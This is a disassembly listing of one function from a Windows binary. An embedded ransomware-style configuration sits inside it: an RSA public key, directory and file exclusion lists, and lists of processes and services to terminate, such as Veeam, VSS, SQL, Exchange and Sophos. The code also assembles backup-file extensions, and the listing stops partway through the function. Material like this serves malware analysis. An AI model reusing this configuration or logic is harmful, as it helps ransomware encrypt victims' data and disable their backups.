Function at 0x1004f2c0
Capabilities:
Manipulate boot configuration
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x490
call 0x1004f2d4
pop eax
mov dword [esp + 0x34], ecx
mov dword [esp], eax
lea eax, [esp + 0x398]
push 0x1600
push str._n__public_rsa_pem_:_______BEGIN_PUBLIC_KEY______nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvWg9ATyemt5mcLquwgmV_niNRs222GWh7LXWE8KeYqcZTIaanhDRxoJhYTzmCZZ3rmELX1inScCI1Y5w0c_nDWI9VXl70AqMrvZBmlbX6KU5T3ym2AnH9F5jCiepnue_5LNsuFomtFCCchSxaLn8_n4Cis2hwxzbHawAKWnEzqrORF9MNzjBNCN3zb4JK1pL2NfkcnUjBcJ_mpgD3niH_nCrNx8L0KwR1pTsWNvvBlZU7yovAm7KKPQSkmOXU6eB8SiBxr34ES4xq6uMk55tYu_nyUKihUODToNHYBai9BbHShTnSM3hzjBhnOZkPxePABznMNYsWnN5c0NaVdQiMz_nBaxI2fowLMEekfturYJ8xwHazuEe31V1pIw98nOlr3Le7QEwYFNUvkW0v7JUyAo_nYFTFQBkmnZG_Vrcgvj_trtWV38YwiGjM6erO9XEJAlEQ9BkmLr8xgeVWkulQqu9_n7ksCMzX_S2tOIQwlEplyXjRwLgNgQa8SzIosKdzVST4T4kP2mtHCcThuv1bN7lp_nTyRc1BW3ynQil6Q280RFEkymRDU1jjJxMs8K_6b8dXS5ictG07uy4FTECwPk0UD_nDLpAhDWfgSjN4rP0BkgEFVqtBv64TsFVsLPUbHyDKCevX1zIGG6UsQKuydHmSg_nM8H8iuj4P1Uez2C1BqVMIa8CAwEAAQ_n_____END_PUBLIC_KEY______n___n__private_rsa_pem_:_____n__directory_black_list_:___n__windows___n__system_volume_information___n__intel___n__admin____n__ipc____n__sysvol___n__netlogon___n___windows.ws___n__application_data___n__mozilla___n__program_files__x86____n__program_files___n___windows.bt___n__msocache___n__tor_browser___n__programdata___n__boot___n__config.msi___n__google___n__perflogs___n__appdata___n__windows.old___n__appdata___n__..___n__.___n__boot___n__windows___n__windows.old___n___recycle.bin___n__admin___n____n__file_black_list_:___n__desktop.ini___n__autorun.ini___n__ntldr___n__bootsect.bak___n__thumbs.db___n__boot.ini___n__ntuser.dat___n__iconcache.db___n__bootfont.bin___n__ntuser.ini___n__ntuser.dat.log___n__autorun.inf___n__bootmgr___n__bootmgr.efi___n__bootmgfw.efi___n__recycle___n__autorun.inf___n__boot.ini___n__bootfont.bin___n__bootmgr___n__bootmgr.efi___n__bootmgfw.efi___n__desktop.ini___n__iconcache.db___n__ntldr___n__ntuser.dat___n__ntuser.dat.log___n__ntuser.ini___n__thumbs.db___n__recycle___n__bootsect.bak__n____n__file_pattern_black_list_:___n__themepack___n__nls___n__diapkg___n__msi___n__lnk___n__exe___n__scr___n__bat___n__drv___n__rtp___n__msp___n__prf___n__msc___n__ico___n__key___n__ocx___n__diagcab___n__diagcfg___n__pdb___n__wpx___n__hlp___n__icns___n__rom___n__dll___n__msstyles___n__mod___n__ps1___n__ics___n__hta___n__bin___n__cmd___n__ani___n__386___n__lock___n__cur___n__idx___n__sys___n__com___n__deskthemepack___n__shs___n__theme___n__mpa___n__nomedia___n__spl___n__cpl___n__adv___n__icl___n__msu___n__OKJRM_RKPy__n____n__process_black_list_:___n__vmms___n__vmwp___n__vmcompute___n__agntsvc___n__dbeng50___n__dbsnmp___n__encsvc___n__excel___n__firefox___n__infopath___n__isqlplussvc___n__sql___n__msaccess___n__mspub___n__mydesktopqos___n__mydesktopservice___n__notepad___n__ocautoupds___n__ocomm___n__ocssd___n__onenote___n__oracle___n__outlook___n__powerpnt___n__sqbcoreservice___n__steam___n__synctime___n__tbirdconfig___n__thebat___n__thunderbird___n__visio___n__winword___n__wordpad___n__xfssvccon___n__bedbh___n__vxmon___n__benetns___n__bengien___n__pvlsvr___n__beserver___n__raw_agent_svc___n__vsnapvss___n__cagservice___n__qbidpservice___n__qbdbmgrn___n__qbcfmonitorservice___n__sap___n__teamviewer_service___n__teamviewer___n__tv_w32___n__tv_x64___n__cvmountd___n__cvd___n__cvfwd___n__cvods___n__saphostexec___n__saposcol___n__sapstartsrv___n__avagent___n__avscc___n__dellsystemdetect___n__enterpriseclient___n__veeamnfssvc___n__veeamtransportsvc___n__veeamdeploymentsvc___n__mvdesktopservice__n____n__win_services_black_list_:___n__vmms___n__mepocs___n__memtas___n__veeam___n__backup___n__vss___n__sql___n__msexchange___n__sophos___n__msexchange___n__msexchange____n__wsbexchange___n__pdvfsservice___n__backupexecvssprovider___n__backupexecagentaccelerator___n__backupexecagentbrowser___n__backupexecdivecimediaservice___n__backupexecjobengine___n__backupexecmanagementservice___n__backupexecrpcservice___n__gxblr___n__gxvss___n__gxclmgrs___n__gxcvd___n__gxcimgr___n__gxmmm___n__gxvsshwprov___n__gxfwd___n__sapservice___n__sap___n__sap____n__sapd____n__saphostcontrol___n__saphostexec___n__qbcfmonitorservice___n__qbdbmgrn___n__qbidpservice___n__acronisagent___n__veeamnfssvc___n__veea
push eax
call fcn.1001b8b0
add esp, 0xc
mov esi, dword [esp + 0x398]
mov eax, dword [esp + 0x39c]
mov edi, dword [esp + 0x3a0]
test esi, esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x14], eax
cmove esi, eax
test edi, edi
je 0x1004f36b
setns al
js 0x100530fb
mov byte [esp + 0x24], al
mov eax, dword [0x1044f00c]
mov ebx, dword [0x1044eff8]
movzx eax, byte [eax]
mov eax, dword [ebx]
test eax, eax
jne 0x1004f348
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1004f357
mov dword [ebx], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ebx, eax
test eax, eax
jne 0x1004f370
movzx eax, byte [esp + 0x24]
push edi
push eax
call fcn.1001ac80
add esp, 8
jmp 0x10053100
mov ebx, 1
push edi
push esi
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x464], ebx
mov dword [esp + 0x468], edi
mov dword [esp + 0x46c], edi
test ecx, ecx
je 0x1004f3ae
cmp dword [esp + 0x14], 0
je 0x1004f3ae
mov eax, dword [0x1044eff8]
push ecx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x398], ebx
mov dword [esp + 0x39c], edi
mov dword [esp + 0x3a0], 0
mov dword [esp + 0x3a4], 1
mov dword [esp + 0x3a8], 0
mov dword [esp + 0x3ac], 0
mov byte [esp + 0x3b0], pe_nt_image_headers32
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x398]
call fcn.1003aaa0
cmp byte [esp + 0xc0], 6
je 0x1005301f
mov eax, dword [esp + 0x39c]
mov ecx, dword [esp + 0x3a0]
movsd xmm0, qword [esp + 0xd0]
movsd xmm2, qword [esp + 0xc0]
movsd xmm1, qword [esp + 0xc8]
cmp ecx, eax
movsd qword [esp + 0x68], xmm0
movsd qword [esp + 0x60], xmm1
movsd qword [esp + 0x58], xmm2
jae 0x1004f48b
mov edx, dword [esp + 0x398]
neg eax
inc ecx
mov esi, 0x800013
nop
movzx edi, byte [edx + ecx - 1]
add edi, 0xfffffff7
cmp edi, 0x17
ja 0x10052daa
bt esi, edi
jae 0x10052daa
lea edi, [eax + ecx + 1]
mov dword [esp + 0x3a0], ecx
inc ecx
cmp edi, 1
jne 0x1004f460
movsd xmm0, qword [esp + 0x60]
movzx eax, word [esp + 0x59]
movzx ecx, byte [esp + 0x5b]
movzx ebx, byte [esp + 0x58]
mov esi, dword [esp + 0x5c]
cmp dword [esp + 0x3a8], 0
movsd qword [esp + 0xc0], xmm0
movsd xmm0, qword [esp + 0x68]
mov word [esp + 0xa8], ax
mov byte [esp + 0xaa], cl
movsd qword [esp + 0xc8], xmm0
je 0x1004f4ea
mov eax, dword [0x1044eff8]
push dword [esp + 0x3a4]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp bl, 6
je 0x10053045
movzx eax, word [esp + 0xa8]
mov byte [esp + 0x470], bl
movsd xmm0, qword [esp + 0xc0]
movsd xmm1, qword [esp + 0xc8]
mov dword [esp + 0x39c], 8
mov dword [esp + 0x3a0], 0
mov dword [esp + 0x3a4], 0
mov byte [esp + 0x398], 4
mov word [esp + 0x471], ax
movzx eax, byte [esp + 0xaa]
mov byte [esp + 0x473], al
mov dword [esp + 0x474], esi
movsd qword [esp + 0x478], xmm0
movsd qword [esp + 0x480], xmm1
lea edi, [esp + 0x470]
push edi
push 0x12
push str.white_symlink_dirsClusterStoragewhite_symlink_subdirsmdfldfbakvibvbkvbmvrbabkbkzsqbtrnbackupoldpfipbfdimghovpcbackuparcmtfbkf
call fcn.1012e680
add esp, 0xc
mov esi, eax
mov ecx, eax
call fcn.10043330
movsd xmm0, qword [esp + 0x3a8]
mov ebx, dword [0x1044f00c]
movsd qword [esi + 0x10], xmm0
movsd xmm0, qword [esp + 0x398]
movsd xmm1, qword [esp + 0x3a0]
movsd qword [esi + 8], xmm1
movsd qword [esi], xmm0
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f5df
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e38
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 0x18
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e38
mov esi, eax
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f616
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e3f
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 0xe
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e3f
mov word [eax + 0xc], 0x6567
mov dword [eax + 8], 0x61726f74
mov dword [eax + 4], 0x53726574
mov dword [eax], 0x73756c43
mov byte [esi], 3
mov dword [esi + 4], eax
mov dword [esi + 8], 0xe
mov dword [esi + 0xc], 0xe
mov dword [esp + 0x39c], esi
mov dword [esp + 0x3a0], 1
mov dword [esp + 0x3a4], 1
mov byte [esp + 0x398], 4
push edi
push 0x15
push 0x102cedc0
call fcn.1012e680
add esp, 0xc
mov esi, eax
mov ecx, eax
call fcn.10043330
movsd xmm0, qword [esp + 0x3a8]
movsd qword [esi + 0x10], xmm0
movsd xmm0, qword [esp + 0x398]
movsd xmm1, qword [esp + 0x3a0]
movsd qword [esi + 8], xmm1
movsd qword [esi], xmm0
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
je 0x1004f6cf
mov esi, edi
jmp 0x1004f6e6
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e50
mov ecx, dword [0x1044eff8]
mov esi, edi
mov dword [ecx], eax
push 0x270
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e50
mov edi, eax
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f720
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e65
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e65
mov byte [eax + 2], 0x66
mov word [eax], 0x646d
mov byte [esp + 0x1b8], 3
mov dword [esp + 0x1bc], eax
mov dword [esp + 0x1c0], 3
mov dword [esp + 0x1c4], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f783
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e76
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e76
mov byte [eax + 2], 0x66
mov word [eax], 0x646c
mov byte [esp + 0x1d0], 3
mov dword [esp + 0x1d4], eax
mov dword [esp + 0x1d8], 3
mov dword [esp + 0x1dc], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f7e6
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e87
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e87
mov byte [eax + 2], 0x6b
mov word [eax], 0x6162
mov byte [esp + 0x200], 3
mov dword [esp + 0x204], eax
mov dword [esp + 0x208], 3
mov dword [esp + 0x20c], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f849
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052e98
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052e98
mov byte [eax + 2], 0x62
mov word [eax], 0x6976
mov byte [esp + 0x218], 3
mov dword [esp + 0x21c], eax
mov dword [esp + 0x220], 3
mov dword [esp + 0x224], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f8ac
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052ea9
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052ea9
mov byte [eax + 2], 0x6b
mov word [eax], 0x6276
mov byte [esp + 0x230], 3
mov dword [esp + 0x234], eax
mov dword [esp + 0x238], 3
mov dword [esp + 0x23c], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f90f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052eba
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052eba
mov byte [eax + 2], 0x6d
mov word [eax], 0x6276
mov byte [esp + 0x248], 3
mov dword [esp + 0x24c], eax
mov dword [esp + 0x250], 3
mov dword [esp + 0x254], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f972
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052ecb
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052ecb
mov byte [eax + 2], 0x62
mov word [eax], 0x7276
mov byte [esp + 0x260], 3
mov dword [esp + 0x264], eax
mov dword [esp + 0x268], 3
mov dword [esp + 0x26c], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004f9d5
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052edc
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052edc
mov dword [eax], 0x6b646d76
mov byte [esp + 0x278], 3
mov dword [esp + 0x27c], eax
mov dword [esp + 0x280], 4
mov dword [esp + 0x284], 4
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fa35
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052eed
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052eed
mov byte [eax + 2], 0x6b
mov word [eax], 0x6261
mov byte [esp + 0x2f0], 3
mov dword [esp + 0x2f4], eax
mov dword [esp + 0x2f8], 3
mov dword [esp + 0x2fc], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fa98
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052efe
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052efe
mov byte [eax + 2], 0x7a
mov word [eax], 0x6b62
mov byte [esp + 0x1e8], 3
mov dword [esp + 0x1ec], eax
mov dword [esp + 0x1f0], 3
mov dword [esp + 0x1f4], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fafb
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f0f
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f0f
mov byte [eax + 2], 0x62
mov word [eax], 0x7173
mov byte [esp + 0x308], 3
mov dword [esp + 0x30c], eax
mov dword [esp + 0x310], 3
mov dword [esp + 0x314], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fb5e
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f20
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f20
mov byte [eax + 2], 0x6e
mov word [eax], 0x7274
mov byte [esp + 0x320], 3
mov dword [esp + 0x324], eax
mov dword [esp + 0x328], 3
mov dword [esp + 0x32c], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fbc1
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f31
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 6
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f31
mov word [eax + 4], 0x7075
mov dword [eax], 0x6b636162
mov byte [esp + 0x290], 3
mov dword [esp + 0x294], eax
mov dword [esp + 0x298], 6
mov dword [esp + 0x29c], 6
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fc27
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f42
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f42
mov dword [eax], 0x70756b62
mov byte [esp + 0x2a8], 3
mov dword [esp + 0x2ac], eax
mov dword [esp + 0x2b0], 4
mov dword [esp + 0x2b4], 4
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fc87
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f53
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f53
mov byte [eax + 2], 0x64
mov word [eax], 0x6c6f
mov byte [esp + 0x2c0], 3
mov dword [esp + 0x2c4], eax
mov dword [esp + 0x2c8], 3
mov dword [esp + 0x2cc], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fcea
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f64
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f64
mov dword [eax], 0x78626974
mov byte [esp + 0x2d8], 3
mov dword [esp + 0x2dc], eax
mov dword [esp + 0x2e0], 4
mov dword [esp + 0x2e4], 4
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fd4a
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f75
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f75
mov byte [eax + 2], 0x69
mov word [eax], 0x6670
mov byte [esp + 0x338], 3
mov dword [esp + 0x33c], eax
mov dword [esp + 0x340], 3
mov dword [esp + 0x344], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fdad
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f86
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f86
mov dword [eax], 0x64687670
mov byte [esp + 0x350], 3
mov dword [esp + 0x354], eax
mov dword [esp + 0x358], 4
mov dword [esp + 0x35c], 4
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fe0d
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052f97
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052f97
mov byte [eax + 2], 0x66
mov word [eax], 0x6270
mov byte [esp + 0x368], 3
mov dword [esp + 0x36c], eax
mov dword [esp + 0x370], 3
mov dword [esp + 0x374], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fe70
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052fa8
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052fa8
mov byte [eax + 2], 0x6d
mov word [eax], 0x6964
mov byte [esp + 0x380], 3
mov dword [esp + 0x384], eax
mov dword [esp + 0x388], 3
mov dword [esp + 0x38c], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004fed3
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052fb9
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052fb9
mov byte [eax + 2], 0x6f
mov word [eax], 0x6867
mov byte [esp + 0x38], 3
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], 3
mov dword [esp + 0x44], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004ff2a
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052fca
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 9
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052fca
mov byte [eax + 8], 0x70
mov dword [eax + 4], 0x756b6361
mov dword [eax], 0x62637076
mov byte [esp + 0xa8], 3
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], 9
mov dword [esp + 0xb4], 9
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004ff95
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052fdb
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052fdb
mov byte [eax + 2], 0x63
mov word [eax], 0x7261
mov byte [esp + 0x58], 3
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 3
mov dword [esp + 0x64], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1004ffec
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052fec
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052fec
mov byte [eax + 2], 0x66
mov word [eax], 0x746d
mov byte [esp + 0xc0], 3
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], 3
mov dword [esp + 0xcc], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x1005004f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10052ffd
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 3
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10052ffd
mov byte [eax + 2], 0x66
mov word [eax], 0x6b62
mov byte [esp + 0x398], 3
mov dword [esp + 0x39c], eax
mov dword [esp + 0x3a0], 3
mov dword [esp + 0x3a4], 3
movzx eax, byte [ebx]
mov eax, dword [0x1044eff8]
mov eax, dword [eax]
test eax, eax
jne 0x100500b2
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1005300e
mov ecx, dword [0x1044eff8]
mov dword [ecx], eax
push 2
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x1005300e
mov word [eax], 0x7264
movsd xmm0, qword [esp + 0x1c8]
movsd qword [edi + 0x10], xmm0
movsd xmm0, qword [esp + 0x1b8]
movsd xmm1, qword [esp + 0x1c0]
movsd qword [edi + 8], xmm1
movsd qword [edi], xmm0
movsd xmm0, qword [esp + 0x1e0]
movsd qword [edi + 0x28], xmm0
movsd xmm0, qword [esp + 0x1d0]
movsd xmm1, qword [esp + 0x1d8]
movsd qword [edi + 0x20], xmm1
movsd qword [edi + 0x18], xmm0
movsd xmm0, qword [esp + 0x210]
movsd qword [edi + 0x40], xmm0
movsd xmm0, qword [esp + 0x200]
movsd xmm1, qword [esp + 0x208]
movsd qword [edi + 0x38], xmm1
movsd qword [edi + 0x30], xmm0
movsd xmm0, qword [esp + 0x218]
movsd xmm1, qword [esp + 0x220]
movsd qword [edi + 0x48], xmm0
movsd qword [edi + 0x50], xmm1
movsd xmm0, qword [esp + 0x228]
movsd qword [edi + 0x58], xmm0
movsd xmm1, qword [esp + 0x238]
movsd xmm0, qword [esp + 0x230]
movsd qword [edi + 0x68], xmm1
movsd xmm1, qword [esp + 0x240]
movsd qword [edi + 0x60], xmm0
movsd qword [edi + 0x70], xmm1
movsd xmm0, qword [esp + 0x248]
movsd xmm1, qword [esp + 0x250]
movsd qword [edi + 0x78], xmm0
movsd qword [edi + 0x80], xmm1
movsd xmm0, qword [esp + 0x258]
movsd qword [edi + 0x88], xmm0
movsd xmm0, qword [esp + 0x260]
movsd xmm1, qword [esp + 0x268]
movsd qword [edi + 0x90], xmm0
movsd qword [edi + 0x98], xmm1
movsd xmm0, qword [esp + 0x270]
movsd qword [edi + 0xa0], xmm0
movsd xmm0, qword [esp + 0x278]
movsd xmm1, qword [esp + 0x280]
movsd qword [edi + 0xa8], xmm0
movsd xmm0, qword [esp + 0x288]
movsd qword [edi + 0xb0], xmm1
movsd qword [edi + 0xb8], xmm0
movsd xmm0, qword [esp + 0x300]
movsd qword [edi + 0xd0], xmm0
movsd xmm0, qword [esp + 0x2f0]
movsd xmm1, qword [esp + 0x2f8]
movsd qword [edi + 0xc8], xmm1
movsd qword [edi + 0xc0], xmm0
movsd xmm0, qword [esp + 0x1e8]
movsd xmm1, qword [esp + 0x1f0]
movsd qword [edi + 0xd8], xmm0
movsd qword [edi + 0xe0], xmm1
movsd xmm0, qword [esp + 0x1f8]
movsd qword [edi + 0xe8], xmm0
movsd xmm0, qword [esp + 0x308]
movsd xmm1, qword [esp + 0x310]
movsd qword [edi + 0xf0], xmm0
movsd qword [edi + 0xf8], xmm1
movsd xmm0, qword [esp + 0x318]
movsd qword [edi + 0x100], xmm0
movsd xmm0, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [edi + 0x108], xmm0
movsd qword [edi + 0x110], xmm1
movsd xmm0, qword [esp + 0x330]
movsd qword [edi + 0x118], xmm0
movsd xmm0, qword [esp + 0x290]
movsd xmm1, qword [esp + 0x298]
movsd qword [edi + 0x120], xmm0
movsd qword [edi + 0x128], xmm1
movsd xmm0, qword [esp + 0x2a0]
movsd qword [edi + 0x130], xmm0
movsd xmm0, qword [esp + 0x2a8]
movsd xmm1, qword [esp + 0x2b0]
movsd qword [edi + 0x138], xmm0
movsd xmm0, qword [esp + 0x2b8]
movsd qword [edi + 0x140], xmm1
movsd qword [edi + 0x148], xmm0
movsd xmm0, qword [esp + 0x2d0]
movsd qword [edi + 0x160], xmm0
movsd xmm0, qword [esp + 0x2c0]
movsd xmm1, qword [esp + 0x2c8]
movsd qword [edi + 0x158], xmm1
movsd qword [edi + 0x150], xmm0
movsd xmm0, qword [esp + 0x2d8]
movsd xmm1, qword [esp + 0x2e0]
movsd qword [edi + 0x168], xmm0
movsd qword [edi + 0x170], xmm1
movsd xmm0, qword [esp + 0x2e8]
movsd qword [edi + 0x178], xmm0
movsd xmm0, qword [esp + 0x338]
movsd xmm1, qword [esp + 0x340]
movsd qword [edi + 0x180], xmm0
movsd qword [edi + 0x188], xmm1
movsd xmm0, qword [esp + 0x348]
movsd qword [edi + 0x190], xmm0
movsd xmm0, qword [esp + 0x350]
movsd xmm1, qword [esp + 0x358]
movsd qword [edi + 0x198], xmm0
movsd qword [edi + 0x1a0], xmm1
movsd xmm0, qword [esp + 0x360]
movsd qword [edi + 0x1a8], xmm0
movsd xmm0, qword [esp + 0x368]
movsd xmm1, qword [esp + 0x370]
movsd qword [edi + 0x1b0], xmm0
movsd qword [edi + 0x1b8], xmm1
movsd xmm0, qword [esp + 0x378]
movsd qword [edi + 0x1c0], xmm0
